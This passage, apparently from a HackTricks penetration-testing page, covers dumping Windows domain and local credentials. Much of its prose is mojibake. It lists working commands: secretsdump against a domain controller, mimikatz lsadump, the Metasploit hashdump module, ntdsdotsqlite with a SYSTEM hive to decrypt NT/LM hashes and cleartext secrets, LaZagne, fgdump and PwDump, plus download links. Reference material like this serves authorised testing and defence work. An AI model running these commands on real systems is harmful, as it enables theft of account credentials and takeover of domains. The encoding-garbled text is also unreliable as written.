рдЖрдк рдЙрдиреНрд╣реЗрдВ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ рдПрдХ рдорд╛рдиреНрдп рдбреЛрдореЗрди рдкреНрд░рд╢рд╛рд╕рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ:

secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>

For big NTDS.dit files рдЗрд╕реЗ gosecretsdump рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирд┐рдХрд╛рд▓рдиреЗ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИред

Finally, you can also use the metasploit module: post/windows/gather/credentials/domain_hashdump or mimikatz lsadump::lsa /inject

NTDS.dit рд╕реЗ SQLite рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдбреЛрдореЗрди рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдирд┐рдХрд╛рд▓рдирд╛

NTDS рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЛ ntdsdotsqlite рдХреЗ рд╕рд╛рде SQLite рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рди рдХреЗрд╡рд▓ рд░рд╣рд╕реНрдп рдирд┐рдХрд╛рд▓реЗ рдЬрд╛рддреЗ рд╣реИрдВ рдмрд▓реНрдХрд┐ рдкреВрд░реЗ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдФрд░ рдЙрдирдХреЗ рдЧреБрдг рднреА рдирд┐рдХрд╛рд▓реЗ рдЬрд╛рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдХрдЪреНрдЪреЗ NTDS.dit рдлрд╝рд╛рдЗрд▓ рдХреЛ рдкрд╣рд▓реЗ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдкрд░ рдЖрдЧреЗ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓реА рдЬрд╛ рд╕рдХреЗред

ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive

The SYSTEM hive рд╡реИрдХрд▓реНрдкрд┐рдХ рд╣реИ рд▓реЗрдХрд┐рди рдпрд╣ рд░рд╣рд╕реНрдпреЛрдВ рдХреЗ рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (NT & LM рд╣реИрд╢, рд╕рдкреНрд▓реАрдореЗрдВрдЯрд▓ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЬреИрд╕реЗ рдХрд┐ рдХреНрд▓рд┐рдпрд░рдЯреЗрдХреНрд╕реНрдЯ рдкрд╛рд╕рд╡рд░реНрдб, kerberos рдпрд╛ рдЯреНрд░рд╕реНрдЯ рдХреА, NT & LM рдкрд╛рд╕рд╡рд░реНрдб рдЗрддрд┐рд╣рд╛рд╕)ред рдЕрдиреНрдп рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рде, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдбреЗрдЯрд╛ рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛рддрд╛ рд╣реИ: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ рдорд╢реАрди рдЦрд╛рддреЗ рдЙрдирдХреЗ рд╣реИрд╢ рдХреЗ рд╕рд╛рде, UAC рдлреНрд▓реИрдЧ, рдЕрдВрддрд┐рдо рд▓реЙрдЧрд┐рди рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдкрд░рд┐рд╡рд░реНрддрди рдХреЗ рд▓рд┐рдП рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк, рдЦрд╛рддреЛрдВ рдХрд╛ рд╡рд┐рд╡рд░рдг, рдирд╛рдо, UPN, SPN, рд╕рдореВрд╣ рдФрд░ рдкреБрдирд░рд╛рд╡реГрддреНрдд рд╕рджрд╕реНрдпрддрд╛рдПрдБ, рд╕рдВрдЧрдардирд╛рддреНрдордХ рдЗрдХрд╛рдЗрдпреЛрдВ рдХрд╛ рдкреЗрдбрд╝ рдФрд░ рд╕рджрд╕реНрдпрддрд╛, рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдбреЛрдореЗрди рдЯреНрд░рд╕реНрдЯ рдкреНрд░рдХрд╛рд░, рджрд┐рд╢рд╛ рдФрд░ рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЗ рд╕рд╛рде...

Lazagne

Download the binary from here. you can use this binary to extract credentials from several software.

lazagne.exe all

Other tools for extracting credentials from SAM and LSASS

Windows credentials Editor (WCE)

рдпрд╣ рдЙрдкрдХрд░рдг рдореЗрдореЛрд░реА рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ: http://www.ampliasecurity.com/research/windows-credentials-editor/

fgdump

SAM рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдирд┐рдХрд╛рд▓реЗрдВ

You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe

PwDump

SAM рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдирд┐рдХрд╛рд▓реЗрдВ

You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump

PwDump7

рдЗрд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ: http://www.tarasco.org/security/pwdump_7 рдФрд░ рдмрд╕ рдЗрд╕реЗ рдЪрд▓рд╛рдПрдВ рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдирд┐рдХрд╛рд▓реЗ рдЬрд╛рдПрдВрдЧреЗред

Defenses

рдпрд╣рд╛рдВ рдХреБрдЫ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдиреЗрдВред

Support HackTricks

Last updated